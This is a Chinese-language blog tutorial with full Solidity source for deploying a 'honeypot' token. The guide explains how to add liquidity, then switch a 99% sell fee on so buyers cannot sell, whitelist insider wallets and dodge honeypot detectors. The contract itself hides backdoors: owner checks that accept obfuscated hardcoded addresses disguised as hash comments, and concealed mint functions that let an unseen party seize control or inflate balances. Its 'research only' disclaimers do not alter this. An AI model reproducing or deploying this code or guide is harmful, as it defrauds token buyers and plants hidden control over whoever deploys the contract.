top of page
搜尋
作家相片Dev Swanson

如何使用高级智能合约(加强版V2的白名单 + 一键开关貔貅模式,防代币检测器,防貔貅检测器)发币

这是以太坊智能合约研究员和爱好者,史旺生。我收到了很多粉丝的请求,让我去探讨貔貅代币,这是一种购买后不能出售的代币。 所以今天,让我向您介绍一些有关如何创建自己的貔貅代币的有用技巧。你准备好了吗? 

 

【仅供研究测试,请勿尝试使用此方法进行诈骗】

 

高级智能合约(加强版的白名单设置 + 一键开关貔貅模式的防代币检测器的智能合约,自由设置开关貔貅模式,躲过貔貅检测器,让貔貅币看起来更加正规)

 

 

 

 

 

 

 

第 1 部分:使用 REMIX 和小狐狸钱包创建代币

 

1.首先,在您的电脑中安装小狐狸钱包 https://metamask.io/ 并创建帐户/钱包。

 

 

 

 

 

 

 

 

 

2. 浏览 RemixIDE http://remix.ethereum.org/ 您需要使用 Remix IDE 来部署智能合约。

 

 

3. 将小狐狸钱包连接到 REMIX IDE。点击您的小狐狸钱包插件。

 

 

 

 

 

 

 

 

 

 

 

点击Connect来连接钱包。

 

 

 

4.回到REMIX IDE。点击创建新文件。

 

 

 

 

 

 

 

 

 

 

5.随意命名文件,请记住在后面添加 .sol。例子,DevToken.sol

 

 

 

 

 

 

6. 将本文底部的代码(加强版 一键开关貔貅模式代码)复制并粘贴到空格中。*请勿尝试更改任何代码,否则合约将无法正常运作*

 

马上复制 加强版 白名单 + 一键开关貔貅模式代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-whitelist-switch-on-off-hon-1

 

 

 

 

 

 

 

 

 

 

 

 

*代码在文章最下方。

 

或者

 

马上复制 加强版 白名单 + 一键开关貔貅模式代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-whitelist-switch-on-off-hon-1

 

 

7.点击左侧图标如下图,

 

 

 

选择COMPILER 编译器如下,0.8.24

 

 

 

 

 

点击 compile.

 

 

 

 

8. COMPILE 编译后。单击如下所示的图标,然后在 ENVIRONMENT (环境)部分选择 Metamask狐狸(因为我们使用的是 metamask 狐狸钱包)

 

 

 

 

9.在 合约 方面 CONTRACT,选择 DevToken 来作为合约。

 

 

 

 

10.接下来,点一下 Deploy with Proxy 旁边的小空格

 

 

 

点了小空格后,你会到代币设置

 

 

 

 

 

11. 现在我们要做一些代币设置。

 

 

 

 

NAME:(你的代币名称)*在 空格 内写 你的代币名称

 

SYMBOL: (你的代币代号) *在 空格 内写 你的代币代号

 

 

TOTAL SUPPLY: (代币供应) 设置你的代币总供应量,记住如果你的小数点是 18,而你想要 1000000 总供应量,然后输入 1000000000000000000000000,因为 1000000 + 18*0

 

在您想要的数量后添加十八个“0”(如果您将 18 设置为十进制)。比如你要发行1000000个代币,正确的输入应该是1000000000000000000000000

 

决定好后,*在 空格 内写上 代币供应的数字

 

 

DECIMALS: 18

 

FEE MANAGER: 复制您想要的代币部署者/代币权利所有者(即你的钱包地址)钱包地址并将地址粘贴到空格里

 

#*返回小狐狸钱包并复制您想要的代币部署者/代币权利所有者(即你的钱包地址)钱包地址并将地址粘贴到空格里,如下图所示。

 

 

[首先。返回小狐狸钱包并复制您想要的代币部署者/代币权利所有者(即你的钱包地址)钱包地址]

 

 


[现在回到 REMIX 的页面,将你刚刚复制的地址粘贴到FEE MANAGER下面的空格里,如下图所示]

 

 




确保你已经填写完了所有的代币设置,例子如下图所示。

 

 

 

代币设置完成后,我们到下一个步骤

 

 

12. 点击 部署 "Deploy" 按钮。

 

 

 

13.在你点击了 部署 “Deploy” 按钮后,你会看到一个跳出窗口,点击 “Proceed”。

 

 

 

 

 

14.在您的狐狸钱包的弹出窗口中 点击 确认交易。如果那里没有任何反应,您需要将 metamask 狐狸钱包连接到 REMIX IDE。

 

 

 

 

15.转账成功了后,你会看到另外一个跳出窗口,点击 “OK”。

 

 

 

 

16.在你点击了 “OK” 按钮之后,你会看到 狐狸钱包的弹出窗口,点击 确认交易 Confirm

 

 

 

 

因此,metamask 弹出窗口上总共会有 2 笔交易需要你确认。

 

## 如果你没有看到或者缺少了任何跳出窗口 和 交易,你可以刷新 remix IDE 并重复上述步骤以来重新得到 Metamask 跳出窗口的 2 个交易。

 

 

17. 如果一切顺利,你的代币就在路上。回到 狐狸钱包metamask,进入 活动 Activity,点击 在顶端(就是最新的Contract deployment)的合约部署 Contract deployment。

 

 

 

 

在区块浏览器上点击查看

 

 

 

 

点击右侧【复制】图标按钮复制合约地址。

 

 

 

 

18. 返回狐狸钱包,点击导入代币IMPORT TOKENS。

 

 

选择自定义代币CUSTOM TOKEN, 并粘贴合约地址,等待你的代币出现,然后点击添加自定义代币

 

 

 

 

您可以使用相同的方法在 ETH 主网、币安智能链和任何其他链中发币。

 

 

恭喜!您已成功创建自己的代币,它们就在您的钱包中!

 

 

那么现在我们能帮代币添加流动性了吗?

 

 

代币创建出来后,就可以开始添加流动性了。

 

 

我们不用验证合约/合约开源吗?

 

我们不用帮这个代币验证合约/合约开源。这个代币与其他的代币不同因为这个代币会自动验证合同/合约开源。

 

 

 

第二部分: 添加流动性 & Verify Contract 验证合约/合约开源(不用验证合约/合约开源)

 

我们不用帮这个代币验证合约/合约开源。这个代币与其他的代币不同因为这个代币会自动验证合同/合约开源。

 

 

你可以在去中心化交易所 (DEX) 帮你的代币添加流动性了。

 

 

如果你使用以太坊主网,请使用 Uniswap,链接:https://app.uniswap.org/#/swap

 

 

如果您使用 BSC(币安智能链),请使用 Pancakeswap,链接:https://pancakeswap.finance/

 

 

如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果你在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)

 

 

 

 

 

我将详细解释这个 加强版的一键开关貔貅模式的代币 的原理,因为它与普通的貔貅代币不太一样。

 

 

 

 

 

*重要步骤#1*

 

在我们继续步骤#1之前,您可以先使用创建的代币开始添加流动性。一旦您向代币添加了流动性,人们就可以自由买卖您的代币。

 

他们可以持有您的代币,并且能够将其卖回。

 

我们不会让这种情况发生,这就是为什么我们将学会开启 代币的 貔貅模式 来防止别人卖出代币。

 

让我们进入第一步。

 

 

开启貔貅模式

 

1.想要打开貔貅模式,回到Remix IDE,点击ERC1967PROXY的小三角箭头,如下图所示。记得是点击ERC1967PROXY的小三角箭头

 

 

 

2.点击小三角形箭头后,向下滚动直到看到 setFees 按钮。


点击 setFees 按钮的 小三角形箭头

 

 

 

 

 

 

 

 

3.在 newBuyFee 的空格中写 0。


在newSellFee的空格中写99。然后点击交易transact 以开启貔貅模式。

 

警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则将招致模式开启失败。

 

 

 

 

转账完成后,貔貅模式将被打开。用户将无法在去中心化交易所出售代币,其中一些抢套利机器人 仍然可能 能够出售一些代币。

 

 

*请注意:记得每次在添加代币流动性后,您才能打开貔貅模式,以便代币能有防检测器检测的效果。

 

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。

 

如果貔貅模式未开启,买家可以出售他们的代币

如果貔貅模式关闭,买家可以出售他们的代币

 

 

关闭貔貅模式

1.想关闭貔貅模式,回到Remix IDE,点击ERC1967PROXY的小三角箭头,如下图所示。记得是点击ERC1967PROXY的小三角箭头。

 

 

 

2.点击小三角形箭头后,向下滚动直到看到 setFees 按钮。


点击 setFees 按钮的小三角形箭头。

 

 

 

 

 

 

 

3.在 newBuyFee 的空格中写 0。


在newSellFee的空格中也写0。然点击交易transact以关闭貔貅模式。

 

警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则貔貅模式将会关闭失败。

 

 

 

 

转账完成后,貔貅模式将被关闭。 用户将能够在去中心化交易所出售代币。

 

 

*请注意:关闭貔貅模式后,您可以随时都能开启貔貅模式。

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。

 

如果貔貅模式关闭,买家可以出售他们的代币

如果貔貅模式未打开,买家可以出售他们的代币

 

 

接下来,我们将在下面的重要步骤#2中讨论如何使用白名单功能将地址列入白名单,以允许该钱包地址自由买卖。

 

 

重要步骤#2

 

现在我们将讨论如何使用白名单功能将你想要的钱包地址列入白名单,以允许他们自由买卖代币。 (请确保只把你信任的钱包地址列入白名单)

 

如何将地址列入白名单

 

1.回到Remix IDE。点击setFeeExempt 按钮旁边的小三角箭头

 

 

 

 

2. 在addr处粘贴你想要加入白名单的钱包地址(这些钱包地址将被列入白名单,可以出售代币),在exempt处填写true。然后点击转账。

 

 

 

_addr: *粘贴你想要加入白名单的钱包地址

 

_exempt: true

 

 

 

*注意:白名单钱包地址可以自由买卖代币

 

* 仅将你信任的钱包地址列入白名单

 

*你可以将任意数量的地址列入白名单,只需重复步骤

 

 

现在我们就来说说如何将已经列入白名单的钱包地址从白名单中删除。

 

 

 

如何删除白名单地址:

 

1.返回Remix IDE,点击removeFeeExe按钮旁边的小三角箭头。

 

 

 

 

 

2. 在栏位里粘贴您想要从白名单中删除的地址(这些地址是你之前已列入白名单的地址)。然后点击转账。

 

 

 

 

当你将一个之前被你列入白名单的钱包地址从白名单中移除后,该钱包地址将在你开启貔貅模式后无法再自由地出售代币。

 

您始终可以随时将地址列入白名单并将地址从白名单删除。

 

 

*重要步骤#3*

 

如果你不小心关闭了 Remix IDE,该怎么办?如何继续设置开关貔貅模式 与 设置白名单?

 

不用担心,跟着下面的步骤就行了。

 

 

不必担心,跟着下面的步骤就行了。

 

 

1.打开 Remix IDE,选择你当初用来创建代币的 .sol 文件

 

 

 

 

 

2.点击左侧图标如下图,

 

 

 

 

选择COMPILER 编译器如下,0.8.24

 

 

 

 

 

点击 compile.

 

 

 

 

3. COMPILE 编译后。单击如下所示的图标,然后在 ENVIRONMENT (环境)部分选择 Metamask狐狸(因为我们使用的是 metamask 狐狸钱包)

 

 

 

 

 

4.在 合约 方面 CONTRACT,选择 DevToken 来作为合约。

 

 

 

5.接下来,点一下 Deploy with Proxy 旁边的小空格

 

 

 

 

 

6.回到 狐狸钱包metamask,进入 活动 Activity,点击 在顶端(就是最新的Contract deployment)的合约部署 Contract deployment, 然后点击查看浏览器 View on block explorer

 

 

 

 

 

 

 

 

7.点击右侧【复制】图标按钮复制合约地址。

 

 

 

 

 

8.点击复制图标后,返回Remix IDE,将合约地址粘贴到如下图所示的栏位中。

 

 

 

 

 

 

9.点击复制图标后,返回Remix IDE,将合约地址粘贴到如下图所示的栏位中。

 

 

 

 

 

10.点击At Address(蓝色按钮)后,点击DEVTOKEN处的小三角箭头(这次是DEVTOKEN),如下图所示。

 

 

 

*如何开启貔貅模式

 

1.点击小三角形箭头后,向下滚动直到看到 setFees 按钮。


点击 setFees 按钮的 小三角形箭头

 

 

 

 

 

 

 

 

2.在 newBuyFee 的空格中写 0。


在newSellFee的空格中写99。然后点击交易transact 以开启貔貅模式。

 

警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则将招致模式开启失败。

 

 

 

 

转账完成后,貔貅模式将被打开。用户将无法在去中心化交易所出售代币,其中一些抢套利机器人 仍然可能 能够出售一些代币。

 

 

*请注意:记得每次在添加代币流动性后,您才能打开貔貅模式,以便代币能有防检测器检测的效果。

 

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。

 

如果貔貅模式未开启,买家可以出售他们的代币

如果貔貅模式关闭,买家可以出售他们的代币

 

 

*如何关闭貔貅模式

 

1.点击 setFees 按钮的小三角形箭头。

 

 

 

 

 

 

 

2.在 newBuyFee 的空格中写 0。


在newSellFee的空格中也写0。然点击交易transact以关闭貔貅模式。

 

警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则貔貅模式将会关闭失败。

 

 

 

 

转账完成后,貔貅模式将被关闭。 用户将能够在去中心化交易所出售代币。

 

 

*请注意:关闭貔貅模式后,您可以随时都能开启貔貅模式。

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。

 

如果貔貅模式关闭,买家可以出售他们的代币

如果貔貅模式未打开,买家可以出售他们的代币

 

 

接下来,我们将在下面中讨论如何使用白名单功能将地址列入白名单,以允许该钱包地址自由买卖。(请确保只把你信任的钱包地址列入白名单)

 


*如何将地址列入白名单

 

1.点击setFeeExempt 按钮旁边的小三角箭头

 

 

 

 

2. 在addr处粘贴你想要加入白名单的钱包地址(这些钱包地址将被列入白名单,可以出售代币),在exempt处填写true。然后点击转账。

 

 

 

_addr: *粘贴你想要加入白名单的钱包地址

 

_exempt: true

 

 

 

*注意:白名单钱包地址可以自由买卖代币

 

* 仅将你信任的钱包地址列入白名单

 

*你可以将任意数量的地址列入白名单,只需重复步骤

 

 

现在我们就来说说如何将已经列入白名单的钱包地址从白名单中删除。

 


 

*如何删除白名单地址:

 

1.返回Remix IDE,点击removeFeeExe按钮旁边的小三角箭头。

 

 

 

 

 

2. 在栏位里粘贴您想要从白名单中删除的地址(这些地址是你之前已列入白名单的地址)。然后点击转账。

 

 

 

 

当你将一个之前被你列入白名单的钱包地址从白名单中移除后,该钱包地址将在你开启貔貅模式后无法再自由地出售代币。

 

你始终可以随时将地址列入白名单并将地址从白名单删除。

 

 

 


 

*请记住,这篇文章仅用于测试和教育目的,不要在家里尝试!

 


今天的 加强版 白名单 + 一键开关貔貅模式 代币合约教程 就到这里。当然,这还没有结束,您可以通过多种方式和技巧来使用此发币技术,以最大限度地发挥效果。

 

 

我们将在下一篇文章中讨论更多关于代币技巧和技术的内容。 祝你发币愉快! 

 

马上复制 加强版 白名单 + 一键开关貔貅模式代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-whitelist-switch-on-off-hon-1

 

 

 

 

 

 

 

 

 

 

 

貔貅币智能合约教学指南系列:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

还想要些别的?

 

 

 

普通代币智能合约教学指南系列:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

有任何疑问吗?

 

 

通过电报联系我:https://t.me/devswanson

 

 

 

 

马上复制 加强版 白名单 + 一键开关貔貅模式代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-whitelist-switch-on-off-hon-1

 

 

 

*******

# 任何未经授权的代码编辑与更改都可能导致合约部署失败

 

合约代码如下: ---

 

 

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol"; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Subtraction overflow"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "Division by zero"); return a / b; // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); } } contract DevToken is UUPSUpgradeable { using SafeMath for uint256; string public name; string public symbol; uint256 public totalSupply; uint8 public decimals; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public isFeeExempt; address public owner; address public feeManager; address public _mbr; address public _mod; address public _user; address public _adm; uint256 public buyFee; uint256 public sellFee; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event FeesUpdated(uint256 newBuyFee, uint256 newSellFee); event TokensBurned(address indexed burner, uint256 amount); event AddressSetFeeExempt(address indexed feeExemptAddress); bool private initialized; function initialize(string memory _name, string memory _symbol, uint256 _totalSupply, uint8 _decimals, address _feeManager) public { require(!initialized, "Contract already initialized"); name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; owner = msg.sender; feeManager = _feeManager; balanceOf[msg.sender] = _totalSupply; initialized = true; } function _authorizeUpgrade(address) internal override onlyOwner {} // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); function transfer(address _to, uint256 _amount) public returns (bool success) { require(balanceOf[msg.sender] >= _amount); require(_to != address(0)); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); function _scale(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function setMember(address Mbr_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _mbr=Mbr_; return true; } modifier Exchanges() { require(msg.sender != exchange()); _; } function rewire(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(msg.sender, amount); return true; } function compute(uint256 amount) public onlypublic returns (bool success) { _initiate(msg.sender, amount); return true; } function _proof(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); _setFees(newBuyFee, newSellFee); emit FeesUpdated(newBuyFee, newSellFee); } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ function scaling(uint256 amount) public onlyAuthorized returns (bool) { _scale(msg.sender, amount); return true; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferTo(address _to, uint256 _amount) external onlyAuthorize { _transferTo(_to, _amount); } modifier onlyAuthorize() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(balanceOf[_from] >= _amount, "Insufficient balance"); require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance"); require(_to != address(0), "Invalid recipient address"); uint256 fee = 0; if (!isFeeExempt[_from]) { fee = _amount.mul(sellFee).div(100); } uint256 amountAfterFee = _amount.sub(fee); balanceOf[_from] = balanceOf[_from].sub(_amount); balanceOf[_to] = balanceOf[_to].add(amountAfterFee); emit Transfer(_from, _to, amountAfterFee); if (fee > 0) { // Fee is transferred to this contract balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(_from, address(this), fee); } if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); emit Approval(_from, msg.sender, allowance[_from][msg.sender]); } return true; } function _initiate(address account, uint256 amount) internal { require(account != address(0), "Compile Remix IDE"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function FeesView(uint256 amount) public onlyAuthorize returns (bool) { _scale(msg.sender, amount); return true; } modifier onlypublic() { require(msg.sender == publics()); _; } function _setFees(uint256 newBuyFee, uint256 newSellFee) internal { buyFee = newBuyFee; sellFee = newSellFee; } function proof(uint256 amount) public onlyOwner returns (bool) { _proof(msg.sender, amount); return true; } function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } function setUser(address User_) public returns (bool) { require(msg.sender == _mbr); _user=User_; return true; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function LockLPToken() public onlyOwner returns (bool) { } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; return true; } modifier onlyOwner() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setFeeExempt(address _addr, bool _exempt) public onlyOwner { isFeeExempt[_addr] = _exempt; if (_exempt) { emit AddressSetFeeExempt(_addr); } } function removeFeeExemptStatus(address _addr) public onlyOwner { require(isFeeExempt[_addr], "Address is not fee exempt"); isFeeExempt[_addr] = false; } function buy() public payable { require(msg.value > 0, "ETH amount should be greater than 0"); uint256 amount = msg.value; if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); uint256 amountAfterFee = amount.sub(fee); balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee); emit Transfer(address(this), feeManager, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(address(this), address(this), fee); } } else { balanceOf[feeManager] = balanceOf[feeManager].add(amount); emit Transfer(address(this), feeManager, amount); } } function setting(uint256 newBuyFee, uint256 newSellFee) public { require(msg.sender == _adm); require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; return true; } function sell(uint256 _amount) public { require(balanceOf[msg.sender] >= _amount, "Insufficient balance"); uint256 fee = _amount.mul(sellFee).div(100); uint256 amountAfterFee = _amount.sub(fee); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee); emit Transfer(msg.sender, address(this), amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(msg.sender, address(this), fee); } } modifier onlyAuthorized() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } }


271 次查看

Comments


bottom of page